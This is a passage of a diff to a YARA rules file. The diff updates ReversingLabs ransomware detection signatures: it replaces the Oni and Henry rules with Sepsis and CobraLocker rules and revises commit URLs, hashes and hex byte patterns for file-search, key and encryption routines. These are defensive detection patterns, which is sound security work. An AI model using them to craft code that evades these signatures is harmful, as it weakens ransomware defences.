+            ?? 7E ?? ?? ?? ?? 11 ?? 28 ?? ?? ?? ?? 6F ?? ?? ?? ?? 28 ?? ?? ?? ?? 11 ?? 11 ?? 72 ??
+            ?? ?? ?? 13 ?? 11 ?? 72 ?? ?? ?? ?? 13 ?? 11 ?? 13 ?? 11 ?? 28 ?? ?? ?? ?? 28 ?? ?? ??
+            ?? 28 ?? ?? ?? ?? DE ?? 26 DE ?? 11 ?? 6F ?? ?? ?? ?? 2D ?? DE ?? 11 ?? 2C ?? 11 ?? 6F
+            ?? ?? ?? ?? DC DE ?? 26 DE ?? 12 ?? 28 ?? ?? ?? ?? 3A ?? ?? ?? ?? DE ?? 12 ?? FE 16 ??
+            ?? ?? ?? 6F ?? ?? ?? ?? DC 7E ?? ?? ?? ?? 7E ?? ?? ?? ?? 28 ?? ?? ?? ?? 7E ?? ?? ?? ??
+            28 ?? ?? ?? ?? 26 2A
+        }
+		$get_key = {
+            73 ?? ?? ?? ?? 0A 06 12 ?? FE 15 ?? ?? ?? ?? 12 ?? 72 ?? ?? ?? ?? 13 ?? 11 ?? 13 ?? 11
+            ?? 13 ?? 11 ?? 72 ?? ?? ?? ?? 13 ?? 11 ?? 13 ?? 11 ?? 28 ?? ?? ?? ?? 28 ?? ?? ?? ?? 7D
+            ?? ?? ?? ?? 12 ?? 72 ?? ?? ?? ?? 13 ?? 11 ?? 13 ?? 11 ?? 13 ?? 11 ?? 13 ?? 11 ?? 72 ??
+            ?? ?? ?? 13 ?? 11 ?? 13 ?? 11 ?? 28 ?? ?? ?? ?? 28 ?? ?? ?? ?? 7D ?? ?? ?? ?? 07 6F ??
+            ?? ?? ?? 06 02 7B ?? ?? ?? ?? 17 6F ?? ?? ?? ?? 28 ?? ?? ?? ?? 72 ?? ?? ?? ?? 13 ?? 11
+            ?? 13 ?? 11 ?? 72 ?? ?? ?? ?? 13 ?? 11 ?? 28 ?? ?? ?? ?? 06 02 7B ?? ?? ?? ?? 17 6F ??
+            ?? ?? ?? 28 ?? ?? ?? ?? 28 ?? ?? ?? ?? 0C DE ?? 06 2C ?? 06 6F ?? ?? ?? ?? DC 08 2A
+        }
+		$encrypt_files = {
+            28 ?? ?? ?? ?? 0A 06 20 ?? ?? ?? ?? 20 ?? ?? ?? ?? 61 13 ?? 11 ?? 6F ?? ?? ?? ?? 06 20
+            ?? ?? ?? ?? 20 ?? ?? ?? ?? 61 13 ?? 11 ?? 13 ?? 11 ?? 13 ?? 11 ?? 13 ?? 11 ?? 6F ?? ??
+            ?? ?? 06 19 6F ?? ?? ?? ?? 06 02 7B ?? ?? ?? ?? 6F ?? ?? ?? ?? 06 02 7B ?? ?? ?? ?? 6F
+            ?? ?? ?? ?? 06 06 6F ?? ?? ?? ?? 06 6F ?? ?? ?? ?? 6F ?? ?? ?? ?? 0B 02 03 07 28 ?? ??
+            ?? ?? 0C DE ?? 07 2C ?? 07 6F ?? ?? ?? ?? DC 06 2C ?? 06 6F ?? ?? ?? ?? DC 08 2A
         }
 
 	condition:
-		uint16(0)==0x5A4D and ($find_files) and ($generate_key) and ($encrypt_files)
+		uint16(0)==0x5A4D and ($find_files) and ($get_key) and ($encrypt_files)
 }
 rule REVERSINGLABS_Win32_Ransomware_Teslacrypt : TC_DETECTION MALICIOUS MALWARE FILE
 {
@@ -39068,8 +39614,8 @@ rule REVERSINGLABS_Win32_Ransomware_Teslacrypt : TC_DETECTION MALICIOUS MALWARE
 		date = "2020-07-15"
 		modified = "2020-07-15"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/ransomware/Win32.Ransomware.Teslacrypt.yara#L1-L665"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/ransomware/Win32.Ransomware.Teslacrypt.yara#L1-L665"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "cc054be68d833d9f29a4ebd1c202922881b0d22a2605edc7def1048dc08f6325"
 		score = 75
 		quality = 65
@@ -39652,19 +40198,18 @@ rule REVERSINGLABS_Win32_Ransomware_Teslacrypt : TC_DETECTION MALICIOUS MALWARE
 	condition:
 		uint16(0)==0x5A4D and (($file_search_0_3_1_1 and $file_search_0_3_1_2 and $encrypt_file_0_2_6a_1 and $encrypt_file_0_2_6a_2 and $server_communication_0_2_6a_1 and $server_communication_0_2_6a_2) or ($file_search_0_3_1_1 and $file_search_0_3_1_2 and $encrypt_file_0_3_1 and $server_communication_0_3_1_1 and $server_communication_0_3_1_2) or ($file_search_0_3_3_1 and $file_search_0_3_3_2 and $encrypt_file_0_3_3_1 and $encrypt_file_0_3_3_2 and $server_communication_0_3_3_1 and $server_communication_0_3_3_2) or ($file_search_0_3_4a_1 and $file_search_0_3_4a_2 and $encrypt_file_0_3_4a_1 and $encrypt_file_0_3_4a_2 and $server_communication_0_3_4a_1 and $server_communication_0_3_4a_2) or ($file_search_0_3_5a_1 and $file_search_0_3_5a_2 and $encrypt_file_0_3_5a_1 and $encrypt_file_0_3_5a_2 and $server_communication_0_3_5a_1 and $server_communication_0_3_5a_2) or ($server_communication_2_0_4e and $search_and_encrypt_2_0_4e_1 and $search_and_encrypt_2_0_4e_2 and $search_and_encrypt_2_0_4e_3 and $search_and_encrypt_2_0_4e_4 and $search_and_encrypt_2_0_4e_5) or ($server_communication_4_0_1 and $server_communication_4_0_2 and $server_communication_4_0_3 and $file_search_4_0_1 and $file_search_4_0_2 and $file_search_4_0_3) or ($file_search_4_1b_1 and $file_search_4_1b_2 and $file_search_4_1b_3 and $server_communication_4_1b_1 and $server_communication_4_1b_2 and $server_communication_4_1b_3 and $server_communication_4_1b_4 and $server_communication_4_1b_5) or ($file_search_4_2_1 and $file_search_4_2_2 and $server_communication_4_1b_1 and $server_communication_4_2_1 and $server_communication_4_2_2 and $server_communication_4_2_3 and $server_communication_4_2_4 and $server_communication_4_2_5) or ($server_communication_4_0_1 and $server_communication_3_1 and $server_communication_3_2 and $file_search_3_1 and $file_search_3_1_1 and $file_search_3_1_2 and $search_and_encrypt_3_1 and $search_and_encrypt_3_2 and $search_and_encrypt_3_3 and $search_and_encrypt_3_4) or ($server_communication_4_0_1 and $server_communication_3_1 and $server_communication_3_2 and $file_search_3_1 and $file_search_3_2_1 and $file_search_3_2_2 and $search_and_encrypt_3_1 and $search_and_encrypt_3_2 and $search_and_encrypt_3_3 and $search_and_encrypt_3_4))
 }
-rule REVERSINGLABS_Win32_Ransomware_ONI : TC_DETECTION MALICIOUS MALWARE FILE
+rule REVERSINGLABS_Win32_Ransomware_Sepsis : TC_DETECTION MALICIOUS MALWARE FILE
 {
 	meta:
-		description = "Yara rule that detects Oni ransomware."
+		description = "Yara rule that detects Sepsis ransomware."
 		author = "ReversingLabs"
-		id = "9190aee2-1119-546e-82ca-a7aba44a9d7f"
-		date = "2024-08-04"
-		date = "2024-08-04"
-		modified = "2020-12-07"
+		id = "0c26d6e0-1d64-5f47-8e21-6710a531bc74"
+		date = "2020-07-15"
+		modified = "2020-07-15"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/ransomware/Win32.Ransomware.Oni.yara#L1-L82"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
-		logic_hash = "685abf5a5edba5bae19faaf6521ce617370cdab1404fe84d846e82a60182dfff"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/ransomware/Win32.Ransomware.Sepsis.yara#L1-L126"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
+		logic_hash = "171ad074a780b45195c6e02b111b3883c58a4028e635c4d6b8ce27c5e05e35d7"
 		score = 75
 		quality = 90
 		tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE"
@@ -39672,74 +40217,116 @@ rule REVERSINGLABS_Win32_Ransomware_ONI : TC_DETECTION MALICIOUS MALWARE FILE
 		sharing = "TLP:WHITE"
 		category = "MALWARE"
 		tc_detection_type = "Ransomware"
+		tc_detection_name = "Sepsis"
 		tc_detection_factor = 5
 		importance = 25
 
 	strings:
-		$find_files = {
-            8A 10 3A 11 75 ?? 84 D2 74 ?? 8A 50 ?? 3A 51 ?? 75 ?? 83 C0 ?? 83 C1 ?? 84 D2 75 ??
-            33 C0 EB ?? 1B C0 83 C8 ?? 85 C0 0F 84 ?? ?? ?? ?? B9 ?? ?? ?? ?? 8D 85 ?? ?? ?? ??
-            8A 10 3A 11 75 ?? 84 D2 74 ?? 8A 50 ?? 3A 51 ?? 75 ?? 83 C0 ?? 83 C1 ?? 84 D2 75 ??
-            33 C0 EB ?? 1B C0 83 C8 ?? 85 C0 0F 84 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 68 ?? ?? ??
-            ?? 53 8D 85 ?? ?? ?? ?? 68 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? F6 85 ?? ?? ?? ??
-            ?? 0F 84 ?? ?? ?? ?? 83 EC ?? 8B D4 C7 42 ?? ?? ?? ?? ?? C7 42 ?? ?? ?? ?? ?? C6 02
-            ?? 80 BD ?? ?? ?? ?? ?? 75 ?? 33 C9 EB ?? 8D 8D ?? ?? ?? ?? 8D 71 ?? 90 8A 01 41 84
-            C0 75 ?? 2B CE 51 8D 85 ?? ?? ?? ?? 8B CA 50 E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ??
-            84 C0 74 ?? 83 EC ?? 8D 45 ?? 8B CC 6A ?? 6A ?? C7 41 ?? ?? ?? ?? ?? C7 41 ?? ?? ??
-            ?? ?? 50 C6 01 ?? E8 ?? ?? ?? ?? 83 EC ?? 8D 45 ?? 8B CC 6A ?? 6A ?? C7 41 ?? ?? ??
-            ?? ?? C7 41 ?? ?? ?? ?? ?? 50 C6 01 ?? E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ??
-            ?? 83 C4 ?? 8D 85 ?? ?? ?? ?? 50 57 FF 15 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? 57 FF
-            15 ?? ?? ?? ?? 8B 45 ?? 83 F8 ?? 72 ?? 8B 4D ?? 40 3D ?? ?? ?? ?? 72 ?? F6 C1 ?? 75
-            ?? 8B 41 ?? 3B C1 73 ?? 2B C8 83 F9 ?? 72 ?? 83 F9 ?? 77 ?? 8B C8 51 E8 ?? ?? ?? ??
-            83 C4 ?? 8B 45 ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C6 45 ?? ?? 83 F8 ?? 72
-            ?? 8B 4D ?? 40 3D ?? ?? ?? ?? 72 ?? F6 C1 ?? 75 ?? 8B 41 ?? 3B C1 73 ?? 2B C8 83 F9
-            ?? 72 ?? 83 F9 ?? 77 ?? 8B C8 51 E8 ?? ?? ?? ?? 83 C4 ?? 8B 4D ?? 5F 5E 33 CD 5B E8
-            ?? ?? ?? ?? 8B E5 5D C3
+		$search_files_1 = {
+            55 8B EC 83 E4 ?? 81 EC ?? ?? ?? ?? 53 8B 5D ?? 8D 84 24 ?? ?? ?? ?? 56 57 8B 3D ??
+            ?? ?? ?? 68 ?? ?? ?? ?? 53 50 FF D7 8D 44 24 ?? 50 8D 84 24 ?? ?? ?? ?? 50 FF 15 ??
+            ?? ?? ?? 8D 4C 24 ?? 89 44 24 ?? 51 50 FF 15 ?? ?? ?? ?? 85 C0 0F 84
         }
-		$encrypt_files = {
-            55 8B EC 83 EC ?? A1 ?? ?? ?? ?? 33 C5 89 45 ?? 56 57 8B 3D ?? ?? ?? ?? 8D 45 ?? 68
-            ?? ?? ?? ?? 6A ?? 33 F6 89 55 ?? 56 56 50 89 4D ?? 89 75 ?? FF D7 85 C0 75 ?? 68 ??
-            ?? ?? ?? 6A ?? 50 50 8D 45 ?? 50 FF D7 8B 7D ?? 85 FF 0F 84 ?? ?? ?? ?? 53 8D 45 ??
-            89 75 ?? 50 68 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 8B D0 E8 ?? ?? ?? ?? 8B D8 83 C4 ?? 85
-            DB 74 ?? 8D 45 ?? 50 6A ?? 6A ?? FF 75 ?? 53 57 FF 15 ?? ?? ?? ?? 53 6A ?? FF 15 ??
-            ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 8B 5D ?? 85 DB 74 ?? 68 ?? ?? ?? ?? 6A ?? FF 15 ?? ??
-            ?? ?? 50 FF 15 ?? ?? ?? ?? FF 75 ?? 8B F0 56 FF 15 ?? ?? ?? ?? FF 75 ?? FF 15 ?? ??
-            ?? ?? 68 ?? ?? ?? ?? 89 45 ?? 8D 45 ?? 50 56 6A ?? 6A ?? 6A ?? 53 FF 15 ?? ?? ?? ??
-            8B 4D ?? 85 C9 74 ?? 8B 45 ?? 89 01 53 FF 15 ?? ?? ?? ?? 6A ?? 57 FF 15 ?? ?? ?? ??
-            5B 8B 4D ?? 8B C6 5F 33 CD 5E E8 ?? ?? ?? ?? 8B E5 5D C3
+		$search_files_2 = {
+            68 ?? ?? ?? ?? 8D 44 24 ?? 50 FF D6 85 C0 0F 84 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 44 24
+            ?? 50 FF D6 85 C0 0F 84 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 44 24 ?? 50 FF D6 85 C0 0F 84
+            ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 44 24 ?? 50 FF D6 85 C0 0F 84 ?? ?? ?? ?? 68 ?? ?? ??
+            ?? 8D 44 24 ?? 50 FF D6 85 C0 0F 84 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 44 24 ?? 50 FF D6
+            85 C0 0F 84 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 44 24 ?? 50 FF D6 85 C0 0F 84 ?? ?? ?? ??
+            68 ?? ?? ?? ?? 8D 44 24 ?? 50 FF D6 85 C0 0F 84 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 44 24
+            ?? 50 FF D6 85 C0 0F 84 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 44 24 ?? 50 FF D6 85 C0 0F 84
+            ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 44 24 ?? 50 FF D6 85 C0 0F 84 ?? ?? ?? ?? 68 ?? ?? ??
+            ?? 8D 44 24 ?? 50 FF D6 85 C0 0F 84 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 44 24 ?? 50 FF D6
+            85 C0 0F 84 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 44 24 ?? 50 FF D6 85 C0 74 ?? 68 ?? ?? ??
+            ?? 8D 44 24 ?? 50 FF D6 85 C0 74 ?? F6 44 24 ?? ?? 8D 44 24 ?? 50 53 8D 84 24 ?? ??
+            ?? ?? 50 74 ?? FF D7 8D 84 24 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? EB ?? FF D7 8D 44 24 ??
+            50 FF 15 ?? ?? ?? ?? 8B D0 8D 7A
         }
-		$search_processes = {
-            6A ?? 68 ?? ?? ?? ?? 8D 8C 24 ?? ?? ?? ?? C7 84 24 ?? ?? ?? ?? ?? ?? ?? ?? C7 84 24
-            ?? ?? ?? ?? ?? ?? ?? ?? C6 84 24 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 8C 24 ?? ?? ?? ??
-            E8 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 8D 8C 24 ?? ?? ?? ?? C7 84 24 ?? ?? ?? ?? ?? ??
-            ?? ?? C7 84 24 ?? ?? ?? ?? ?? ?? ?? ?? C6 84 24 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 51 B9
-            ?? ?? ?? ?? E8 ?? ?? ?? ?? C6 44 24 ?? ?? 8D 84 24 ?? ?? ?? ?? FF 74 24 ?? C7 05 ??
-            ?? ?? ?? ?? ?? ?? ?? 50 8D 44 24 ?? C7 05 ?? ?? ?? ?? ?? ?? ?? ?? 50 C7 05 ?? ?? ??
-            ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? BF ?? ?? ?? ?? 8D B4 24 ?? ?? ?? ?? 83 EE ?? 4F 83 7E
-            ?? ?? 72 ?? 8B 1E 8B CE 56 E8 ?? ?? ?? ?? 8B 46 ?? 40 3D ?? ?? ?? ?? 72 ?? F6 C3 ??
-            75 ?? 8B 43 ?? 3B C3 73 ?? 2B D8 83 FB ?? 72 ?? 83 FB ?? 77 ?? 8B D8 53 E8 ?? ?? ??
-            ?? 83 C4 ?? C7 46 ?? ?? ?? ?? ?? 83 7E ?? ?? C7 46 ?? ?? ?? ?? ?? 72 ?? 8B 06 EB ??
-            8B C6 8B CE C6 00 ?? E8 ?? ?? ?? ?? 85 FF 75 ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4
-            ?? 5F 5E 5B 8B E5 5D C3 E8 ?? ?? ?? ?? CC CC CC CC CC B9 ?? ?? ?? ?? E8 ?? ?? ?? ??
-            6A ?? 68 ?? ?? ?? ?? B9 ?? ?? ?? ?? C7 05 ?? ?? ?? ?? ?? ?? ?? ?? C7 05 ?? ?? ?? ??
-            ?? ?? ?? ?? C6 05 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 59 C3
+		$search_files_3 = {
+            66 8B 0A 83 C2 ?? 66 85 C9 75 ?? 2B D7 D1 FA 83 FA ?? 75 ?? 66 83 78 ?? ?? 74 ?? 8D
+            8C 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 3D ?? ?? ?? ?? 8D 44 24 ?? 50 FF 74 24 ?? FF 15
+            ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? FF 74 24 ?? FF 15 ?? ?? ?? ?? 5F 5E 33 C0 5B 8B
+            E5 5D C2
+        }
+		$search_files_4 = {
+            68 ?? ?? ?? ?? 8D 44 24 ?? 50 FF D6 85 C0 0F 84 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 44 24
+            ?? 50 FF D6 85 C0 0F 84 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 44 24 ?? 50 FF D6 85 C0 0F 84
+            ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 44 24 ?? 50 FF D6 85 C0 0F 84 ?? ?? ?? ?? 68 ?? ?? ??
+            ?? 8D 44 24 ?? 50 FF D6 85 C0 0F 84 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 44 24 ?? 50 FF D6
+            85 C0 0F 84 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 44 24 ?? 50 FF D6 85 C0 0F 84 ?? ?? ?? ??
+            68 ?? ?? ?? ?? 8D 44 24 ?? 50 FF D6 85 C0 0F 84 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 44 24
+            ?? 50 FF D6 85 C0 0F 84 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 44 24 ?? 50 FF D6 85 C0 0F 84
+            ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 44 24 ?? 50 FF D6 85 C0 0F 84 ?? ?? ?? ?? 68 ?? ?? ??
+            ?? 8D 44 24 ?? 50 FF D6 85 C0 0F 84 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 44 24 ?? 50 FF D6
+            85 C0 0F 84 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 44 24 ?? 50 FF D6 85 C0 0F 84 ?? ?? ?? ??
+            68 ?? ?? ?? ?? 8D 44 24 ?? 50 FF D6 85 C0 0F 84 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 44 24
+            ?? 50 FF D6 85 C0 74 ?? 68 ?? ?? ?? ?? 8D 44 24 ?? 50 FF D6 85 C0 74 ?? F6 44 24 ??
+            ?? 8D 44 24 ?? 50 53 8D 84 24 ?? ?? ?? ?? 50 74 ?? FF D7 8D 84 24 ?? ?? ?? ?? 50 E8
+            ?? ?? ?? ?? EB ?? FF D7 8D 44 24 ?? 50 FF 15 ?? ?? ?? ?? 8B D0 8D 7A ?? 66 8B 0A 83
+            C2 ?? 66 85 C9 75 ?? 2B D7 D1 FA 83 FA ?? 75 ?? 66 83 78 ?? ?? 74 ?? 8D 8C 24 ?? ??
+            ?? ?? E8 ?? ?? ?? ?? 8B 3D ?? ?? ?? ?? 8D 44 24 ?? 50 FF 74 24 ?? FF 15 ?? ?? ?? ??
+            85 C0 0F 85 ?? ?? ?? ?? FF 74 24 ?? FF 15 ?? ?? ?? ?? 5F 5E 33 C0 5B 8B E5 5D C2
+        }
+		$encrypt_files_1 = {
+            BA ?? ?? ?? ?? B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? BA ?? ?? ?? ?? B9 ?? ?? ?? ?? E8 ?? ??
+            ?? ?? 6A ?? FF D6 0F 10 05 ?? ?? ?? ?? 8B F8 8D 85 ?? ?? ?? ?? 68 ?? ?? ?? ?? 68 ??
+            ?? ?? ?? 50 0F 11 07 89 3D ?? ?? ?? ?? 0F 10 05 ?? ?? ?? ?? 0F 11 47 ?? 0F 10 05 ??
+            ?? ?? ?? 0F 11 47 ?? E8 ?? ?? ?? ?? 83 C4 ?? C7 45 ?? ?? ?? ?? ?? 8D 45 ?? C7 45 ??
+            ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 6A ?? 6A ?? 50 8D 85 ?? ?? ?? ?? 50 6A ?? 6A ?? 8D
+            85 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 85 C0 75 ?? 33 FF E9 ?? ?? ?? ?? 8D 45 ?? 50 8D
+            45 ?? 50 6A ?? 68 ?? ?? ?? ?? FF 75 ?? 8D 85 ?? ?? ?? ?? 50 6A ?? 6A ?? FF 15 ?? ??
+            ?? ?? 85 C0 75 ?? 33 FF E9 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A ?? 6A ?? 6A ?? 8D 45 ?? 50
+            FF 15 ?? ?? ?? ?? 85 C0 75 ?? 33 FF E9 ?? ?? ?? ?? 8D 45 ?? 50 FF 75 ?? 6A ?? FF 75
+            ?? FF 15 ?? ?? ?? ?? 85 C0 75 ?? 33 FF EB ?? FF 75 ?? FF 15 ?? ?? ?? ?? 8B CF 8D 51
+        }
+		$encrypt_files_2 = {
+            8A 01 41 84 C0 75 ?? 2B CA 8D 45 ?? 51 50 6A ?? 6A ?? 6A ?? 6A ?? FF 75 ?? 89 4D ??
+            89 4D ?? FF D3 85 C0 75 ?? 33 FF EB ?? FF 75 ?? FF D6 FF 75 ?? 8B F0 6A ?? 56 E8 ??
+            ?? ?? ?? FF 75 ?? 57 56 E8 ?? ?? ?? ?? 83 C4 ?? 8D 45 ?? FF 75 ?? 50 56 6A ?? 6A ??
+            6A ?? FF 75 ?? FF D3 8B F8 F7 DF 1B FF 23 FE 8B 35 ?? ?? ?? ?? 8B D7 8D 4A ?? 66 90
+            8A 02 42 84 C0 75 ?? 2B D1 8B CF E8 ?? ?? ?? ?? A3 ?? ?? ?? ?? 8D 50 ?? 8A 08 40 84
+            C9 75 ?? 2B C2 57 A3 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 83 C4 ?? 81 3D ?? ?? ?? ?? ?? ??
+            ?? ?? 0F 82 ?? ?? ?? ?? 5F 5E 5B 8B E5 5D C3
+        }
+		$encrypt_files_3 = {
+            55 8B EC 83 EC ?? 57 6A ?? 68 ?? ?? ?? ?? 6A ?? 6A ?? 6A ?? 8B C1 68 ?? ?? ?? ?? 50
+            89 45 ?? FF 15 ?? ?? ?? ?? 8B F8 83 FF ?? 75 ?? 0B C0 5F 8B E5 5D C3 53 6A ?? 57 FF
+            15 ?? ?? ?? ?? 8B D8 83 FB ?? 75 ?? FF 75 ?? 57 FF 15 ?? ?? ?? ?? 8B D8 56 B8 ?? ??
+            ?? ?? 6A ?? 3B D8 0F 47 D8 53 6A ?? 6A ?? 6A ?? 57 FF 15 ?? ?? ?? ?? 8B F0 83 FE ??
+            75 ?? 5E 5B 0B C0 5F 8B E5 5D C3 6A ?? 6A ?? 6A ?? 6A ?? 56 FF 15 ?? ?? ?? ?? 56 8B
+            35 ?? ?? ?? ?? 89 45 ?? FF D6 57 FF D6 E8 ?? ?? ?? ?? 0F 10 05 ?? ?? ?? ?? 0F 11 05
+            ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 45 ?? 8B F8 BE ?? ?? ?? ?? 0F 10 05 ?? ?? ?? ?? 0F 11
+            05 ?? ?? ?? ?? 85 DB 74
+        }
+		$encrypt_files_4 = {
+            8A 0C 06 8D 40 ?? 30 48 ?? 83 EA ?? 75 ?? 8B CF E8 ?? ?? ?? ?? 8B F7 83 C7 ?? 83 EB
+            ?? 75 ?? 8B 45 ?? 0F 10 06 50 0F 11 05 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 68 ?? ?? ?? ??
+            6A ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 55 ?? 83 C4 ?? 8B F2
+        }
+		$encrypt_files_5 = {
+            66 8B 02 83 C2 ?? 66 85 C0 75 ?? BB ?? ?? ?? ?? 2B D6 8D 7B ?? 66 8B 47 ?? 83 C7 ??
+            66 85 C0 75 ?? 8B CA C1 E9 ?? F3 A5 8B CA 83 E1 ?? 83 C3 ?? F3 A4 66 8B 43 ?? 83 C3
+            ?? 66 85 C0 75 ?? 8B FB B9 ?? ?? ?? ?? 8B 5D ?? BE ?? ?? ?? ?? 68 ?? ?? ?? ?? F3 A5
+            53 FF 15 ?? ?? ?? ?? 6A ?? 8B F0 6A ?? 56 FF 15 ?? ?? ?? ?? 56 FF 35 ?? ?? ?? ?? 6A
+            ?? FF 35 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 56 FF 15 ?? ?? ?? ?? 83 C4 ?? 68 ?? ?? ?? ??
+            53 FF 15 ?? ?? ?? ?? 5E 5B 33 C0 5F 8B E5 5D C3
         }
 
 	condition:
-		uint16(0)==0x5A4D and ($search_processes) and ($find_files) and ($encrypt_files)
+		uint16(0)==0x5A4D and ( all of ($search_files_*)) and ( all of ($encrypt_files_*))
 }
-rule REVERSINGLABS_Win32_Ransomware_Henry : TC_DETECTION MALICIOUS MALWARE FILE
+rule REVERSINGLABS_Bytecode_MSIL_Ransomware_Cobralocker : TC_DETECTION MALICIOUS MALWARE FILE
 {
 	meta:
-		description = "Yara rule that detects Henry ransomware."
+		description = "Yara rule that detects CobraLocker ransomware."
 		author = "ReversingLabs"
-		id = "63627f2b-3205-5790-ba97-8e0d1da39d7c"
-		date = "2021-06-14"
-		modified = "2021-06-14"
+		id = "dada6370-3ae3-5931-ba9f-da56ebbcd8c8"
+		date = "2021-08-12"
+		modified = "2021-08-12"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/ransomware/Win32.Ransomware.Henry.yara#L1-L80"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
-		logic_hash = "e6ab2a8a344d40407118e29ff78f5a0144f42a0fbdee19a80b341b59f056d292"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/ransomware/Bytecode.MSIL.Ransomware.CobraLocker.yara#L1-L59"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
+		logic_hash = "95f4c645c7c237d23b5028f824f78a5f9f8f0a4737b391d877582afe08264d7e"
 		score = 75
 		quality = 90
 		tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE"
@@ -39747,69 +40334,56 @@ rule REVERSINGLABS_Win32_Ransomware_Henry : TC_DETECTION MALICIOUS MALWARE FILE
 		sharing = "TLP:WHITE"
 		category = "MALWARE"
 		tc_detection_type = "Ransomware"
-		tc_detection_name = "Henry"
+		tc_detection_name = "CobraLocker"
 		tc_detection_factor = 5
 		importance = 25
 
 	strings:
-		$find_files = {
-            02 6F ?? ?? ?? ?? 0A 16 0B 2B ?? 06 07 9A 0C 08 6F ?? ?? ?? ?? 73 ?? ?? ?? ?? 28 ?? ??
-            ?? ?? DE ?? 26 DE ?? 07 17 58 0B 07 06 8E 69 32 ?? 02 6F ?? ?? ?? ?? 0D 16 0B 38 ?? ??
-            ?? ?? 09 07 9A 13 ?? 11 ?? 6F ?? ?? ?? ?? 19 17 73 ?? ?? ?? ?? 25 6F ?? ?? ?? ?? D4 8D
-            ?? ?? ?? ?? 13 ?? 25 11 ?? 16 11 ?? 8E 69 6F ?? ?? ?? ?? 26 6F ?? ?? ?? ?? 11 ?? 6F ??
-            ?? ?? ?? 11 ?? 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 13 ?? 11 ?? 6F ?? ?? ?? ?? 72 ?? ?? ?? ??
-            28 ?? ?? ?? ?? 18 18 73 ?? ?? ?? ?? 25 11 ?? 16 11 ?? 8E 69 6F ?? ?? ?? ?? 6F ?? ?? ??
